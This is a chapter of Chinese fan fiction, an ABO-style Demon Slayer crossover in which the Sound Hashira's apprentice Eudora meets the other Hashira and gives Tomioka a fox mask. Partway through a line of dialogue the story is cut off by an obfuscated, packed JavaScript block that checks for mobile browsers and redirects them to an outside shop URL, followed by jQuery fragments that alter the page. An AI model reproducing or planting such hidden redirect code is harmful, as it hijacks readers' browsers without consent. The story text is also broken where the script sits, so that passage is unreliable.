16.己
作品:《[鬼灭]女Alpha她为何那样?》 产屋敷邸的朱红廊檐下,风卷着阶前的紫藤花瓣倏然停住,一道身影踩着廊下的碎影缓步而来——刹那间,连廊外的蝉鸣都低了几分。
那是个身形颀长挺拔的少女,明明身上的羽织是温和的月白色,内里确是黑色男式剑士服,劲装紧贴着肩背,勾勒出不夸张却极具美感的肌肉线条。蜜色的肌肤在廊檐的光影里泛着琥珀般的光泽,细腻得看不出一丝瑕疵,一头浓密的及腰卷发被松松束成高马尾,发丝是纯粹的墨黑,不见半分杂色。
她迈步而来时,步伐沉稳,每一步都带着不容置疑的气场。
坐在庭中听着陌生的脚步声靠近,恋柱甘露寺蜜璃突然想起什么扬起鼻尖嗅了嗅,果然闻到了奇异的清冽果酒香气,小小声打破了四周的寂静:“哎?是音柱的继子来了吗?”
终于来了!有人心道。
脚步声行至廊前,异域少女抬手,指尖漫不经心地拨开脸上的眼罩,眼尾锋利地向上挑起,绯色唇瓣抿成一道冷硬的弧度,纯黑的眸子淡淡扫过殿内的众柱,带着几分独有的强势与散漫——
第一次见到传闻中的音柱继子,所有柱都不禁在心中道了一声“果然如此”。
音柱宇髓天元那家伙从收了继子之后一直三番四次地提起,虫柱蝴蝶忍甚至说,他给主公写来的信件中每次都会提到尤多拉的存在,显然是对这次的继子十分满意。
因此,为了柱合会议而赶回来的众人在还没见到尤多拉本人时,就对她有了深刻的印象。
“尤多拉是国外来的!家里是权势很大的大家族!她的父亲可是将军!两位兄长听说目前也在战场上为国效力!”
宇髓天元对于尤多拉的来历自有一套说辞,还是一套完全符合他的美学的说辞,“她自己也很喜欢钻研格斗类技巧,明明是一个女孩子却考上了他们那里最好的武装学院!听说还是他们那一届的实战第一名!我刚遇到她的时候她就可以跟我打的有来有回了!”
众人点头:原来如此,是武将世家的大小姐呢。
宇髓天元对尤多拉的外貌那也是大为夸赞:“等你们亲眼见过尤多拉就懂了!那可是和寻常女子截然不同的、极具冲击力的华丽!简直耀眼到让人移不开眼!她的肤色是健康的蜜色,身上更没有半分俗气的异味——那是与生俱来的、像醇厚果酒般勾人的馥郁香气,这才是顶级的华丽啊!”
众人点头:原来如此,是不同肤色的异邦人啊。
“尤多拉的话不多,但是性格比同龄人更成熟稳重,还对弱者有很强的担当和保护欲!”他话锋一转,眼中闪过几分期待,声音都拔高了些许:“这次她去鳞泷前辈那儿修行,等回来时,肯定已经琢磨出属于自己的呼吸法了!真叫人好奇啊——那孩子将会拥有怎样的呼吸法呢!”
众人点头:原来如此,来之前确实听说音柱继子在前任水柱那里修行,原来是因为她还没有呼吸法……等会?
宇髓天元:呃、不好。
不死川实弥一拍桌子站起来,勃然大怒:“你这个蠢货!她没有呼吸法你还敢让她去跟上弦鬼打?!”
恋柱甘露寺蜜璃惊得眼睛瞪得圆圆的,手里的和果子“啪嗒”掉在盘子里,软糯的嗓音里满是焦急:“哎——?太危险了啦!尤多拉酱会受伤的吧?天元先生你怎么不阻止她呀?”
霞柱时透无一郎歪了歪头,澄澈的眼眸里没什么情绪,却直白地抛出:“没有呼吸法,无法斩杀鬼的脖颈。”
岩柱悲鸣屿行冥双手合十,厚重的嗓音里带着几分沉重的叹息,佛珠在掌心缓缓转动:“阿弥陀佛……没有呼吸法傍身,便直面那般恶鬼,是将自身置于万劫不复之地啊。天元,此举太过轻率了。”
“尤多拉实力摆在那儿……肯定没问题的……”
宇髓天元越说声音越小,到最后几乎有些底气不足,干脆猛地一抬手,试图掩饰心虚:“总、总之!这绝对是一场华丽的修行!”话落,还故作镇定地轻咳两声。
所有人脸上还带着不认同和对宇髓天元的谴责,只有水柱富冈义勇沉默地盯着宇髓天元,握着日轮刀的手指缓缓松开,垂在身侧,薄唇轻抿,脸上却依旧没什么表情。
去了鳞泷师父那里学习呼吸法吗……
水柱:有点在意。
能够被那样强大又华丽的音柱都如此称赞天赋的孩子,肯定能得到师父的喜爱吧?
而且……她明明才经历了跟上弦鬼恶战,虽然不知道身上的伤势如何,但肯定影响到了一部分行动能力,却还能立刻启程,遵循音柱的要求第一时间赶去狭雾山,并让主公的鎹鸦回来报一声平安。
富冈义勇的头低得更深。
果然,就像锖兔师兄一样,有些人生来就注定不平凡,等到尤多拉正式进入鬼杀队的行列,应该很快就能成为新的柱了吧……
“她比你们中的一些人,更配得上柱的名号。”就像锖兔一样。
在尤多拉进来的前一秒,富冈义勇如此客观地陈述了自己的判断。
于是刚拆下眼罩还在思考自己要如何面对这样一群Omega时,就受到了各式各样的眼神洗礼。
毫不知情的尤多拉:……?
她按照自己的喜好搭配的衣服和首饰,难道触犯到了这边的特殊习俗或者引起了当地Omega的厌恶吗?
有些苦恼地揉了揉眼角,缓解了一下刚刚眼球被挤压的不适,尤多拉先对宇髓天元打了个招呼,然后迟疑地看向所有人:“…你们好?初次见面,我是音柱继子尤多拉。”
簌簌。
树梢的阴影里忽然传来一阵极轻的布料摩擦声,像蛇鳞擦过枯枝,紧接着缠满绷带的脚踝先一步垂落,一道纤长的身影便如游蛇般无声滑下。
垂着的眼睫又长又浓密,绷带下的唇线抿成一道冷硬的弧度,伊黑小芭内微微侧过脸,脖颈间的绷带随着动作蹭过下颌,露出的一截皮肤冷白得近乎透明。
一个很有魅力的Omega,尤多拉客观评价。
突然被对方闯入视野,尤多拉的目光平和地落在眼前这位身周缠绕着白蛇的青年身上几秒,露出一个礼节性笑容,然后自然地将目光转移,落在了远远坐在席间的富冈义勇身上——
“请问是水柱富冈先生吗?锖兔先生需要我为他确认这件事。”
“……锖兔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076835|194867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。?”
富冈义勇瞳孔微微收缩,连眼睫都忘了眨,整个人像被人用无形的力量钉在了原地。
“锖兔?”伊黑小芭内有些不满她的忽视,皱起眉靠近两步,“那是谁?你遇到的上弦鬼不是叫童磨吗?”
——看起来确实是Omega了,他的脾气似乎有点不好。
尤多拉略微低头,发现自己的这个举动似乎又惹恼了对方,颇有些无奈地回答:“是的,童磨是上弦贰,锖兔先生是富冈先生的师兄,也是鳞泷先生的弟子。”
黑色长发的Omega显然对这个回答不满意,尤多拉注意着他眉眼间的不耐,还在思考如何回答,眼前倏然闪过一个身影。
一道颀长身影在这时插进了他们中间的空隙。
伊黑小芭内侧过脸,视线像淬了冰,声音冷了几分:“富冈,你这家伙!”
墨色长发垂落肩头,几缕碎发贴在光洁的额角,衬得那张脸愈发清俊冷白,眉眼是天生的疏离感,眼尾微微下压,瞳仁是极淡的青蓝色,明明是没什么情绪的模样,却藏着不易察觉的柔和。
——居然和锖兔先生描绘的模样分毫不差呢。
和还维持着少年模样的锖兔不一样,已经独自一个人度过成年期的蓝瞳Omega身上有着特殊花纹的羽织打理得一丝不苟,边角平整,没有一丝褶皱,却莫名让人在意。
那是……锖兔的里衣?尤多拉微微怔住。
虽然多年过去,富冈先生依旧记得锖兔先生,还将他的衣服留着做成羽织披在自己身上……是在暗示自己,锖兔先生没有死去,还一直在保护着他吗?
揣摩着这位拥有少见蓝色双瞳的Omega的心意,尤多拉看向他的目光更加柔和。
真是一位美丽又心思敏感的Omega……幸好,他现在正如锖兔先生所期待的那样,成长为了一副风骨不输于Alpha的模样。
尤多拉看着眼前这位身量和自己差不多的男性水柱,将腰间的白色狐狸面具取下,递给他:“这是我拜托鳞泷先生为我雕刻的。”
富冈义勇呆呆接过:“是……?”
“我见到了锖兔先生和真菰小姐的狐狸面具,想到富冈先生你或许也有一个相似的面具,原本还想要以这样的信物和你重识。”尤多拉指了指对方空荡荡的颊边,抱歉地笑了笑,语气温和,“既然如此,就物归原主吧,鳞泷先生也希望自己亲手雕刻的面具能够长久地庇佑自己的弟子们吧?”
狐狸面具确实是水柱一脉具有特殊意义的信物,富冈义勇眼帘微微垂下,但……
看着手中那个和他当初的狐狸面具一般无二,没有特殊花纹和疤痕的狐狸面具,富冈义勇在尤多拉惊愕的目光中,将其缓缓覆盖在自己的脸上:“谢谢你。”
一瞬间,清冽的果酒香气包裹了他所有感官,只是一次,富冈义勇就永远记住了这个味道。
看着眼前那片原本象征着联邦最为尊贵的深蓝,尤多拉没说出口的劝阻话语在那双湿润的蓝色双瞳中片刻便消弭了尽。
这不合规矩,尤多拉心想。
但这可是一位Omega先生……算了。

